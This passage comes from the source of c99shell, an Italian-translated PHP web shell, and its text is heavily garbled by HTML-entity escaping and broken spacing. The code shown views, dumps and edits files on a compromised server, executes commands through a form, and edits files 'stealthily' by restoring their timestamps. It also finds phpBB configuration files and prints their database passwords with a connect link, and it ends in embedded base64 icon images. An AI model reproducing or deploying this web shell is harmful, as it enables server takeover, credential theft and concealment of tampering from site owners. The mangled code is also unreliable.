echo " (<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=".$t[1].&quo t;&white=1& d=".urlencode( $d)."\" target=\"_blan k\">+</a > |";
}
echo "<hr size=\"1\" ; noshade>";< br /> if ($ft == "info"
{
echo "<b>Info rmazione:</b> <table border=0 cellspacing=1 cellpadding=2>&l t;tr><td>& lt;b>Percorso< ;/b></td>& lt;td> ".$d.$f." </td></tr& gt;<tr><td ><b>Dimens ione</b></ td><td> ".view_size(fi lesize($d.$f)).&quo t;</td></t r><tr>< td><b>MD5& lt;/b></td> ;<td> ".md5_file($d. $f)."</td&g t;</tr>" ;
if (!$win)
{
echo "<tr>< ;td><b>Pro prietrio/Gruppi< /b></td>&l t;td> ";
$ow = posix_getpwuid(file owner($d.$f));
$gr = posix_getgrgid(file group($d.$f));
echo ($ow["name&quo t;]?$ow["name& quot;]:fileowner($d .$f))."/" .($gr["name&qu ot;]?$gr["name "]:filegroup($ d.$f));
}
echo "<tr>< ;td><b>Per messi</b>< /td><td>&l t;a href=\"". $surl."act=chm od&f=".url encode($f)."&a mp;d=".urlenco de($d)."\" ;>".view_pe rms_color($d.$f).&q uot;</a></ td></tr>&l t;tr><td>& lt;b>Data di creazione</b> </td><td&g t; ".date("d /m/Y H:i:s",filecti me($d.$f))."&l t;/td></tr> ;<tr><td&g t;<b>Data di accesso</b>&l t;/td><td> ".date("d /m/Y H:i:s",fileati me($d.$f))."&l t;/td></tr> ;<tr><td&g t;<b>Data di modifica/data</b ></td>< td> ".date("d /m/Y H:i:s",filemti me($d.$f))."&l t;/td></tr> ;</table>< br>";
$fi = fopen($d.$f,"r b";
if ($fi)
{
if ($fullhexdump) {echo "<b>HEXD UMP PIENO</b>&quo t;; $str = fread($fi,filesize( $d.$f));}
else {echo "<b>HEXD UMP ANTEPRIMA</b> "; $str = fread($fi,$hexdump_ lines*$hexdump_rows );}
$n = 0;
$a0 = "00000000<b r>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++)
{
$a1 .= sprintf("%02X& quot;,ord($str[$i]) )." ";
switch (ord($str[$i]))
{
case 0: $a2 .= "<font>0 </font>" ; break;
case 32:
case 10:
case 13: $a2 .= "&nbsp;&qu ot;; break;
default: $a2 .= htmlspecialchars($s tr[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X& quot;,$i+1)."& lt;br>";} $a1 .= "<br>&qu ot;;
$a2 .= "<br>&qu ot;;
}
}
//if ($a1 != "" {$a0 .= sprintf("%08X& quot;,$i)."< ;br>";}
echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4>&l t;tr><td bgcolor=#666666> ".$a0."&l t;/td><td bgcolor=000000>& quot;.$a1."< ;/td><td bgcolor=000000>& quot;.$a2."< ;/td></tr> </table><b r>";
}
$encoded = "";
if ($base64 == 1)
{
echo "<b>Codi fica in Base64</b>< ;br>";
$encoded = base64_encode(file_ get_contents($d.$f) );
}
elseif($base64 == 2)
{
echo "<b>Codi fica in Base64 + Chunk</b>< br>";
$encoded = chunk_split(base64_ encode(file_get_con tents($d.$f)));
}
elseif($base64 == 3)
{
echo "<b>Codi fica in Base64 + Chunk + Quotes</b>< ;br>";
$encoded = base64_encode(file_ get_contents($d.$f) );
$encoded = substr(preg_replace ("!.{1,76}!&qu ot;,"'\\0'.\n& quot;,$encoded),0,- 2);
}
elseif($base64 == 4)
{
$text = file_get_contents($ d.$f);
$encoded = base64_decode($text );
echo "<b>Deco difica in Base64";
if (base64_encode($enc oded) != $text) {echo " (failed)";}
echo "</b>< ;br>";
}
if (!empty($encoded))< br /> {
echo "<textarea cols=80 rows=10>".h tmlspecialchars($en coded)."</t extarea><br&g t;<br>";
}
echo "<b>HEXD UMP:</b><n obr> [<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&fullhexd ump=1&d=". urlencode($d)." ;\">Full< ;/a>] [<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&d=" .urlencode($d).&quo t;\">Antepr ima</a>]<b r><b>Base6 4: </b>
<nobr>[<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&base64=1 &d=".urlen code($d)."\&qu ot;>Codifica< /a>]&nbsp;&l t;/nobr>
<nobr>[<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&base64=2 &d=".urlen code($d)."\&qu ot;>+chunk</a >]&nbsp;< /nobr>
<nobr>[<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&base64=3 &d=".urlen code($d)."\&qu ot;>+chunk+quote s</a>]&nb sp;</nobr>
<nobr>[<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=info&base64=4 &d=".urlen code($d)."\&qu ot;>Decodifica&l t;/a>]&nbsp; </nobr>
<P>";
}
elseif ($ft == "html"
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {c99shexit();}
}
elseif ($ft == "txt" {echo "<pre>&q uot;.htmlspecialcha rs($r)."</p re>";}
elseif ($ft == "ini" {echo "<pre>&q uot;; var_dump(parse_ini_ file($d.$f,TRUE)); echo "</pre>& quot;;}
elseif ($ft == "phpsess"< img src='images/wink.gi f' />
{
echo "<pre>&q uot;;
$v = explode("|&quo t;,$r);
echo $v[0]."<br& gt;";
var_dump(unserializ e($v[1]));
echo "</pre>& quot;;
}
elseif ($ft == "exe"
{
$ext = explode(".&quo t;,$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext); $rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("% f%",$f,$rft);< br /> echo "<b>Eseg ui file:</b>< form action=\"" ;.$surl."\&quo t; method=POST>< input type=hidden name=act value=cmd><in put type=\"text\&q uot; name=\"cmd\&qu ot; value=\"" .htmlspecialchars($ cmd)."\" size=\"". (strlen($cmd)+2).&q uot;\">< br>Scrivi nel piano di testo<input type=\"checkbo x\" name=\"cmd_txt \" value=\"1\&quo t; checked><inpu t type=hidden name=\"d\" ; value=\"" .htmlspecialchars($ d)."\"> ;<br><inpu t type=submit name=submit value=\"Esegui \"></for m>";
}
elseif ($ft == "sdb" {echo "<pre>&q uot;; var_dump(unserializ e(base64_decode($r) )); echo "</pre>& quot;;}
elseif ($ft == "code"
{
if (ereg("php&quo t;."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("\n&qu ot;,$r);
if (count($arr == 18))
{
include($d.$f);
echo "<b>E' stata trovata una configurazione del phpBB in questo file!<br>&quo t;;
if ($dbms == "mysql4" {$dbms = "mysql";}
if ($dbms == "mysql" {echo "<a href=\"". $surl."act=sql &sql_server=&qu ot;.htmlspecialchar s($dbhost)."&a mp;sql_login=" .htmlspecialchars($ dbuser)."& sql_passwd=".h tmlspecialchars($db passwd)."& sql_port=3306&s ql_db=".htmlsp ecialchars($dbname) ."\">& lt;b><u>Co nnetti al database</u>& lt;/b></a> <br><br> ;";}
else {echo "Ma, tu non puoi connetterti al forum sql-base, perche' il db-software=\" ".$dbms." \" non e' supportato dalla c99shell. Per favore, contattaci per il fix.";}
echo "Parametri per una connessione manuale:<br>& quot;;
$cfgvars = array("dbms&qu ot;=>$dbms," ;dbhost"=>$ dbhost,"dbname "=>$dbname, "dbuser"= >$dbuser,"d bpasswd"=>$ dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k )."='".ht mlspecialchars($v). "'<br>&q uot;;}
echo "</b>< ;hr size=\"1\" ; noshade>";< br /> }
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_b ackground .";\"> ";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$ f);
if (!empty($white)) {c99shexit();}
echo "</div>& quot;;
}
elseif ($ft == "scarica"< img src='images/wink.gi f' />
{
@ob_clean();
header("Tipo-C ontenuto: applicazioni/octet- stream";
header("Lunghe zza-Contenuto: ".filesize($d. $f));
header("Dispos izione-Contenuto: attachment; filename=\"&qu ot;.$f."\" ;;";
echo $r;
exit;
}
elseif ($ft == "notepad"< img src='images/wink.gi f' />
{
@ob_clean();
header("Tipo-C ontenuto: text/plain";
header("Conten t-disposition: attachment; filename=\"&qu ot;.$f.".txt\& quot;;";
echo($r);
exit;
}
elseif ($ft == "img"
{
$inf = getimagesize($d.$f) ;
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsiz e;
$height = $inf[1]/100*$imgsiz e;
echo "<center> ;<b>Dimension e:</b>&nb sp;";
$sizes = array("100&quo t;,"50",& quot;20";
foreach ($sizes as $v)
{
echo "<a href=\"". $surl."act=f&a mp;f=".urlenco de($f)."&f t=img&d=". urlencode($d)." ;&imgsize=" ;.$v."\"& gt;";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>&quo t;.$v."</u& gt;";}
echo "</a>&am p;nbsp;&nbsp;&a mp;nbsp;";
}
echo "<br>< ;br><img src=\"".$ surl."act=f&am p;f=".urlencod e($f)."&ft =img&white=1&am p;d=".urlencod e($d)."\" width=\"" .$width."\&quo t; height=\"" ;.$height."\&q uot; border=\"1\&qu ot;></center& gt;";
}
else
{
@ob_clean();
$ext = explode($f,".& quot;
$ext = $ext[count($ext)-1] ;
header("Tipo-C ontenuto: ".$inf["m ime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit"
{
if (!empty($submit)) {
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w ";
if (!$fp) {echo "<b>Non puoi sovrascrivere il file!</b>&quo t;;}
else
{
echo "<b>Salv ato!</b>" ;;
fwrite($fp,$edit_te xt);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[ 9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode(" ;\r\n",$r)); if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"" ;.$surl."act=f &f=".urlen code($f)."& ;ft=edit&d=&quo t;.urlencode($d).&q uot;\" method=POST>< input type=submit name=submit value=\"Salva\ ">&nbsp ;<input type=\"reset\& quot; value=\"Resett a\">&nb sp;<input type=\"button\ " onclick=\"loca tion.href='".a ddslashes($surl.&qu ot;act=ls&d=&qu ot;.substr($d,0,-1) )."';\" value=\"Indiet ro\"><br ><textarea name=\"edit_te xt\" cols=\"122\&qu ot; rows=\"". $rows."\" >".htmlspec ialchars($r)." </textarea>&l t;/form>";< br /> }
elseif (!empty($ft)) {echo "<center> ;<b>Il tipo selezionato manualmente e' Sbagliato. Se tu pensi, che e' un errore, si prega di mandarci l'url \$GLOBALS.</b> ;</center>&qu ot;;}
else {echo "<center> ;<b>Estension e sconosciuta (".$ext."< img src='images/wink.gi f' />, per favore, seleziona il tipo manualmente.</b& gt;</center>& quot;;}
}
}
}
else
{
@ob_clean();
$images = array(
"arrow_ltr&quo t;=>
"R0lGODlhJgAWA IAAAAAAAP///yH5BAUU AAEALAAAAAAmABYAAAI vjI+py+0PF4i0gVvzuV xXDnoQ".
"SIrUZGZoerKf2 8KjPNPOaku5RfZ+uQsK h8RiogAAOw==",
"back"=&g t;
"R0lGODlhFAAUA KIAAAAAAP///93d3cDA wIaGhgQEBP///wAAACH 5BAEAAAYALAAAAAAUAB QAAAM8".
"aLrc/jDKSWWpj VysSNiYJ4CUOBJoqjni ILzwuzLtYN/3zBSErf6 kBW+gKRiPRghPh+EFK0 mOUEqt".
"Wg0JADs=" ;,
"buffer"= >
"R0lGODlhFAAUA KIAAAAAAP////j4+N3d 3czMzLKysoaGhv///yH 5BAEAAAcALAAAAAAUAB QAAANo".
"eLrcribG90y4F 1Amu5+NhY2kxl2CMKwr QRSGuVjp4LmwDAWqiAG FXChg+xhnRB+ptLOhai 1crEmD".
"Dlwv4cEC46mi2 YgJQKaxsEGDFnnGwWDT Ezj9jrPRdbhuG8Cr/2I NZIOEhXsbDwkAOw==&q uot;,
"change"= >
"R0lGODlhFAAUA MQfAL3hj7nX+pqo1ejy /f7YAcTb+8vh+6FtH56 WZtvr/RAQEZecx9Ll/P X6/v3+".
"/3eHt6q88eHu/ ZkfH3yVyIuQt+72/kOm 99fo/P8AZm57rkGS4He z6pil9oep3GZmZv///y H5BAEA".
"AB8ALAAAAAAUA BQAAAWf4CeOZGme6Nmt LOulX+c4TVNVQ7e9qFz fg4HFonkdJA5S54cbRA oFyEOC".
"wSiUtmYkkrgwO AeA5zrqaLldBiNMIJeD 266XYTgQDm5Rx8mdG+o AbSYdaH4Ga3c8JBMJaX QGBQgA".
"CHkjE4aQkQ0Al SITan+ZAQqkiiQPj1AF AaMKEKYjD39QrKwKAa8 nGQK8Agu/CxTCsCMexs fIxjDL".
"zMshADs=" ;,
"delete"= >
"R0lGODlhFAAUA OZZAPz8/NPFyNgHLs0Y OvPz8/b29sacpNXV1fX 19cwXOfDw8Kenp/n5+e tgeunp".
"6dcGLMMpRurq6 pKSktvb2+/v7+1wh3R0 dPnP17iAipxyel9fX7d jcscSM93d3ZGRkeEsTe vd4LCw".
"sGRkZGpOU+IfQ +EQNoh6fdIcPeHh4YWF hbJQYvLy8ui+xm5ubsx ccOx8kcM4UtY9WeAdQY mJifWv".
"vHx8fMnJycM3U f3v8rRue98ONbOzs9YF K5SUlKYoP+Tk5N0oSuf n57ZGWsQrR9kIL5CQkO Pj42Vl".
"ZeAPNudAX9sKM Pv7+15QU5ubm39/f8e5 u4xiatra2ubKz8PDw+p fee9/lMK0t81rfd8AKf ///wAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAACH5".
"BAEAAFkALAAAA AAUABQAAAesgFmCg4SF hoeIhiUfIImIMlgQB46 GLAlYQkaFVVhSAIZLT5 cbEYI4".
"STo5MxOfhQwBA 1gYChckQBk1OwiIALAC LkgxJilTBI69RFhDFh4 HDJRZVFgPPFBR0FkNWD dMHA8G".
"BZTaMCISVgMC4 IkVWCcaPSi96OqGNFhK I04dgr0QWFcKDL3A4uO IjVZZABxQIWDBLkIEQr RoQsHQ".
"jwVFHBgiEGQFI gQasYkcSbJQIAA7&quo t;,
"download" ;=>
"R0lGODlhFAAUA LMIAAD/AACAAIAAAMDA wH9/f/8AAP///wAAAP/ //wAAAAAAAAAAAAAAAA AAAAAA".
"AAAAACH5BAEAA AgALAAAAAAUABQAAARO EMlJq704UyGOvkLhfVU 4kpOJSpx5nF9YiCtLf0 SuH7pu".
"EYOgcBgkwAiGp HKZzB2JxADASQFCidQJ sMfdGqsDJnOQlXTP38p rzWbX3qgIADs=" ,
"forward" =>
"R0lGODlhFAAUA PIAAAAAAP///93d3cDA wIaGhgQEBP///wAAACH 5BAEAAAYALAAAAAAUAB QAAAM8".
"aLrc/jDK2Qp9x V5WiN5G50FZaRLD6IhE 66Lpt3RDbd9CQFSE4P+ +QW7He7UKPh0IqVw2l0 RQSEqt".
"WqsJADs=" ;,
"home"=&g t;
"R0lGODlhFAAUA LMAAAAAAP///+rq6t3d 3czMzLKysoaGhmZmZgQ EBP///wAAAAAAAAAAAA AAAAAA".
"AAAAACH5BAEAA AkALAAAAAAUABQAAAR+ MMk5TTWI6ipyMoO3cUW RgeJoCCaLoKO0mq0Zxj NSBDWS".
"krqAsLfJ7YQBl 4tiRCYFSpPMdRRCoQOi L4i8CgZgk09WfWLBYZH B6UWjCequwEDHuOEVK3 QtgN/j".
"VwMrBDZvgF+Ch HaGeYiCBQYHCH8VBJaW dAeSl5YiW5+goBIRADs =",
"mode"=&g t;
"R0lGODlhHQAUA LMAAAAAAP///6CgpN3d 3czMzIaGhmZmZl9fX// //wAAAAAAAAAAAAAAAA AAAAAA".
"AAAAACH5BAEAA AgALAAAAAAdABQAAASB EMlJq70461m6/+AHZMU gnGiqniNWHHAsz3F7FU Gu73xO".
"2BZcwGDoEXk/U q4ICACeQ6fzmXTlns0d dle99b7cFvYpER55Z10 Xy1lKt8wpoIsACrdaqB pYEYK/".
"dH1LRWiEe0pRT XBvVHwUd3o6eD6OHASX mJmamJUSY5+gnxujpBI RADs=",
"refresh" =>
"R0lGODlhEQAUA LMAAAAAAP////Hx8erq 6uPj493d3czMzLKysoa GhmZmZl9fXwQEBP///w AAAAAA".
"AAAAACH5BAEAA AwALAAAAAARABQAAAR1 kMlJq0Q460xR+GAoIMv kheIYlMyJBkJ8lm6YxM Ki6zWY".
"3AKCYbjo/Y4EQ qFgKIYUh8EvuWQ6PwPF QJpULpunrXZLrYKx20G 3oDA7093Esv19q5O/wo Fu9ZAJ".
"R3lufmWCVX13h 3KHfWWMjGBDkpOUTTuX mJgRADs=",
"search"= >
"R0lGODlhFAAUA LMAAAAAAP///+rq6t3d 3czMzMDAwLKysoaGhnd 3d2ZmZl9fX01NTSkpKQ QEBP//".
"/wAAACH5BAEAA A4ALAAAAAAUABQAAASn 0Ml5qj0z5xr6+JZGeUZ pHIqRNOIRfIYiy+a6vc OpHOap".
"s5IKQccz8XgK4 EGgQqWMvkrSscylhoaF VmuZLgUDAnZxEBMODSn rkhiSCZ4CGrUWMA+LLD xuSHsD".
"AkN4C3sfBX10V HaBJ4QfA4eIU4pijQcF mCVoNkFlggcMRScNSUC dJyhoDasNZ5MTDVsXBw lviRmr".
"Cbq7C6sIrqawr KwTv68iyA6rDhEAOw== ",
"setup"=& gt;
"R0lGODlhFAAUA MQAAAAAAP////j4+OPj 493d3czMzMDAwLKyspa WloaGhnd3d2ZmZl9fX0 1NTUJC".
"QhwcHP///wAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAC H5BAEA".
"ABAALAAAAAAUA BQAAAWVICSKikKWaDmu ShCUbjzMwEoGhVvsfHE ENRYOgegljkeg0PF4KB IFRMIB".
"qCaCJ4eIGQVoI VWsTfQoXMfoUfmMZrgZ 2GNDPGII7gJDLYErwG1 vgW8CCQtzgHiJAnaFhy t2dwQE".
"OwcMZoZ0kJKUl ZeOdQKbPgedjZmhnAcJ lqaIqUesmIikpEixnyJ hulUMhg24aSO6YyEAOw ==",
"small_dir&quo t;=>
"R0lGODlhEwAQA LMAAAAAAP///5ycAM7O Y///nP//zv/OnPf39// //wAAAAAAAAAAAAAAAA AAAAAA".
"AAAAACH5BAEAA AgALAAAAAATABAAAARR EMlJq7046yp6BxsiHEV BEAKYCUPrDp7HlXRdEo MqCebp".
"/4YchffzGQhH4 YRYPB2DOlHPiKwqd1Pq 8yrVVg3QYeH5RYK5rJf aFUUA3vB4fBIBADs=&q uot;,
"small_unk&quo t;=>
"R0lGODlhEAAQA HcAACH5BAEAAJUALAAA AAAQABAAhwAAAIep3BE 9mllic3B5iVpjdMvh/M Lc+y1U".
"p9Pm/GVufc7j/ MzV/9Xm/EOm99bn/Njp /a7Q+tTm/LHS+eXw/t3 r/Nnp/djo/Nrq/fj7/9 vq/Nfo".
"/Mbe+8rh/Mng+ 7jW+rvY+r7Z+7XR9dDk /NHk/NLl/LTU+rnX+8z i/LbV++fx/e72/vH3/v L4/u31".
"/e31/uDu/dzr/ Orz/eHu/fX6/vH4/v// //v+/3ez6vf7//T5/kG S4Pv9/7XV+rHT+r/b+r za+vP4".
"/uz0/urz/u71/ uvz/dTn/M/k/N3s/dvr /cjg+8Pd+8Hc+sff+8T e+/D2/rXI8rHF8brM87 fJ8nmP".
"wr3N86/D8KvB8 F9neEFotEBntENptENp tSxUpx1IoDlfrTRcrZe eyZacxpmhzIuRtpWZxI uOuKqz".
"9ZOWwX6Is3WIu 5im07rJ9J2t2Zek0m57 rpqo1nKCtUVrtYir3vf 6/46v4Yuu4WZvfr7P6s PS6sDQ".
"66XB6cjZ8a/K7 9/s/dbn/ezz/czd9mN0 jKTB6ai/76W97niXz2G CwV6AwUdstXyVyGSDwn mYz4io".
"24Oi1a3B45Sy4 ae944Ccz4Sj1n2GlgAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAjnACtVCkCw4 JxJAQQqFBjAxo0MNGqs ABQAh6CFA3nk0MHiRRE VDhzsoLQwAJ0gT4Toec SHAYMz".
"aQgoDNCCSB4EA nImCiSBjUyGLobgXBTp kAA5I6pgmSkDz5cuMSz 8yWlAyoCZFGb4SQKhAS MBXJpM".
"uSrQEQwkGjYkQ CTAy6AlUMhWklQBw4ME hgSA6XPgRxS5ii40KLF gi4BGTEKAsCKXihESCz rsgSQC".
"yIkUV+SqOYLCA 4csAup86OGDkNw4BpQ4 OaBFgB0TEyIUKqDwTRs 4a9yMCSOmDBoyZu4sJK CgwIDj".
"yAsokBkQADs=& quot;,
"multipage&quo t;=>"R0lGOD lhCgAMAJEDAP/////3m QAAAAAAACH5BAEAAAMA LAAAAAAKAAwAAAIj3IR ".
"pJhCODnovidAo vBdMzzkixlXdlI2oZpJ WEsSywLzRUAAAOw==&q uot;,
"sort_asc" ;=>
"R0lGODlhDgAJA KIAAAAAAP///9TQyICA gP///wAAAAAAAAAAACH 5BAEAAAQALAAAAAAOAA kAAAMa".
"SLrcPcE9GKUaQ lQ5sN5PloFLJ35OoK6q 5SYAOw==",
"sort_desc&quo t;=>
"R0lGODlhDgAJA KIAAAAAAP///9TQyICA gP///wAAAAAAAAAAACH 5BAEAAAQALAAAAAAOAA kAAAMb".
"SLrcOjBCB4UVI TgyLt5ch2mgSJZDBi7p 6hIJADs=",
"sql_button_dr op"=>
"R0lGODlhCQALA PcAAAAAAIAAAACAAICA AAAAgIAAgACAgICAgMD AwP8AAAD/AP//AAAA// 8A/wD/".
"/////wAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA MwAAZgAAmQAAzAAA/wA zAAAzMwAzZgAzmQAzzA Az/wBm".
"AABmMwBmZgBmm QBmzABm/wCZAACZMwCZ ZgCZmQCZzACZ/wDMAAD MMwDMZgDMmQDMzADM/w D/AAD/".
"MwD/ZgD/mQD/z AD//zMAADMAMzMAZjMA mTMAzDMA/zMzADMzMzM zZjMzmTMzzDMz/zNmAD NmMzNm".
"ZjNmmTNmzDNm/ zOZADOZMzOZZjOZmTOZ zDOZ/zPMADPMMzPMZjP MmTPMzDPM/zP/ADP/Mz P/ZjP/".
"mTP/zDP//2YAA GYAM2YAZmYAmWYAzGYA /2YzAGYzM2YzZmYzmWY zzGYz/2ZmAGZmM2ZmZm ZmmWZm".
"zGZm/2aZAGaZM 2aZZmaZmWaZzGaZ/2bM AGbMM2bMZmbMmWbMzGb M/2b/AGb/M2b/Zmb/mW b/zGb/".
"/5kAAJkAM5kAZ pkAmZkAzJkA/5kzAJkz M5kzZpkzmZkzzJkz/5l mAJlmM5lmZplmmZlmzJ lm/5mZ".
"AJmZM5mZZpmZm ZmZzJmZ/5nMAJnMM5nM ZpnMmZnMzJnM/5n/AJn /M5n/Zpn/mZn/zJn//8 wAAMwA".
"M8wAZswAmcwAz MwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8x mZsxmmcxmzMxm/8yZAM yZM8yZ".
"ZsyZmcyZzMyZ/ 8zMAMzMM8zMZszMmczM zMzM/8z/AMz/M8z/Zsz /mcz/zMz///8AAP8AM/ 8AZv8A".
"mf8AzP8A//8zA P8zM/8zZv8zmf8zzP8z //9mAP9mM/9mZv9mmf9 mzP9m//+ZAP+ZM/+ZZv +Zmf+Z".
"zP+Z///MAP/MM //MZv/Mmf/MzP/M//// AP//M///Zv//mf//zP/ //yH5BAEAABAALAAAAA AJAAsA".
"AAg4AP8JREFQ4 D+CCBOi4MawITeFCg/i QhEPxcSBlFCoQ5Fx4MS Kv1BgRGGMo0iJFC2ehH jSoMt/".
"AQEAOw==" ;,
"sql_button_em pty"=>
"R0lGODlhCQAKA PcAAAAAAIAAAACAAICA AAAAgIAAgACAgICAgMD AwP8AAAD/AP//AAAA// 8A/wD/".
"/////wAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA MwAAZgAAmQAAzAAA/wA zAAAzMwAzZgAzmQAzzA Az/wBm".
"AABmMwBmZgBmm QBmzABm/wCZAACZMwCZ ZgCZmQCZzACZ/wDMAAD MMwDMZgDMmQDMzADM/w D/AAD/".
"MwD/ZgD/mQD/z AD//zMAADMAMzMAZjMA mTMAzDMA/zMzADMzMzM zZjMzmTMzzDMz/zNmAD NmMzNm".
"ZjNmmTNmzDNm/ zOZADOZMzOZZjOZmTOZ zDOZ/zPMADPMMzPMZjP MmTPMzDPM/zP/ADP/Mz P/ZjP/".
"mTP/zDP//2YAA GYAM2YAZmYAmWYAzGYA /2YzAGYzM2YzZmYzmWY zzGYz/2ZmAGZmM2ZmZm ZmmWZm".
"zGZm/2aZAGaZM 2aZZmaZmWaZzGaZ/2bM AGbMM2bMZmbMmWbMzGb M/2b/AGb/M2b/Zmb/mW b/zGb/".
"/5kAAJkAM5kAZ pkAmZkAzJkA/5kzAJkz M5kzZpkzmZkzzJkz/5l mAJlmM5lmZplmmZlmzJ lm/5mZ".
"AJmZM5mZZpmZm ZmZzJmZ/5nMAJnMM5nM ZpnMmZnMzJnM/5n/AJn /M5n/Zpn/mZn/zJn//8 wAAMwA".
"M8wAZswAmcwAz MwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8x mZsxmmcxmzMxm/8yZAM yZM8yZ".
"ZsyZmcyZzMyZ/ 8zMAMzMM8zMZszMmczM zMzM/8z/AMz/M8z/Zsz /mcz/zMz///8AAP8AM/ 8AZv8A".
"mf8AzP8A//8zA P8zM/8zZv8zmf8zzP8z //9mAP9mM/9mZv9mmf9 mzP9m//+ZAP+ZM/+ZZv +Zmf+Z".
"zP+Z///MAP/MM //MZv/Mmf/MzP/M//// AP//M///Zv//mf//zP/ //yH5BAEAABAALAAAAA AJAAoA".
"AAgjAP8JREFQ4 D+CCBOiMMhQocKDEBcu jEiRosSBFjFenOhwYUA AOw==",
"sql_button_in sert"=>
"R0lGODlhDQAMA PcAAAAAAIAAAACAAICA AAAAgIAAgACAgICAgMD AwP8AAAD/AP//AAAA// 8A/wD/".
"/////wAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA MwAAZgAAmQAAzAAA/wA zAAAzMwAzZgAzmQAzzA Az/wBm".
"AABmMwBmZgBmm QBmzABm/wCZAACZMwCZ ZgCZmQCZzACZ/wDMAAD MMwDMZgDMmQDMzADM/w D/AAD/".
"MwD/ZgD/mQD/z AD//zMAADMAMzMAZjMA mTMAzDMA/zMzADMzMzM zZjMzmTMzzDMz/zNmAD NmMzNm".
"ZjNmmTNmzDNm/ zOZADOZMzOZZjOZmTOZ zDOZ/zPMADPMMzPMZjP MmTPMzDPM/zP/ADP/Mz P/ZjP/".
"mTP/zDP//2YAA GYAM2YAZmYAmWYAzGYA /2YzAGYzM2YzZmYzmWY zzGYz/2ZmAGZmM2ZmZm ZmmWZm".
"zGZm/2aZAGaZM 2aZZmaZmWaZzGaZ/2bM AGbMM2bMZmbMmWbMzGb M/2b/AGb/M2b/Zmb/mW b/zGb/".
"/5kAAJkAM5kAZ pkAmZkAzJkA/5kzAJkz M5kzZpkzmZkzzJkz/5l mAJlmM5lmZplmmZlmzJ lm/5mZ".
"AJmZM5mZZpmZm ZmZzJmZ/5nMAJnMM5nM ZpnMmZnMzJnM/5n/AJn /M5n/Zpn/mZn/zJn//8 wAAMwA".
"M8wAZswAmcwAz MwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8x mZsxmmcxmzMxm/8yZAM yZM8yZ".
"ZsyZmcyZzMyZ/ 8zMAMzMM8zMZszMmczM zMzM/8z/AMz/M8z/Zsz /mcz/zMz///8AAP8AM/ 8AZv8A".
"mf8AzP8A//8zA P8zM/8zZv8zmf8zzP8z //9mAP9mM/9mZv9mmf9 mzP9m//+ZAP+ZM/+ZZv +Zmf+Z".
"zP+Z///MAP/MM //MZv/Mmf/MzP/M//// AP//M///Zv//mf//zP/ //yH5BAEAABAALAAAAA ANAAwA".
"AAgzAFEIHEiwo MGDCBH6W0gtoUB//1BE NOiP2sKECzNeNIiqY0d /FBf+y0jR48eQGUc6JB gQADs=",
"up"=>
"R0lGODlhFAAUA LMAAAAAAP////j4+OPj 493d3czMzLKysoaGhk1 NTf///wAAAAAAAAAAAA AAAAAA".
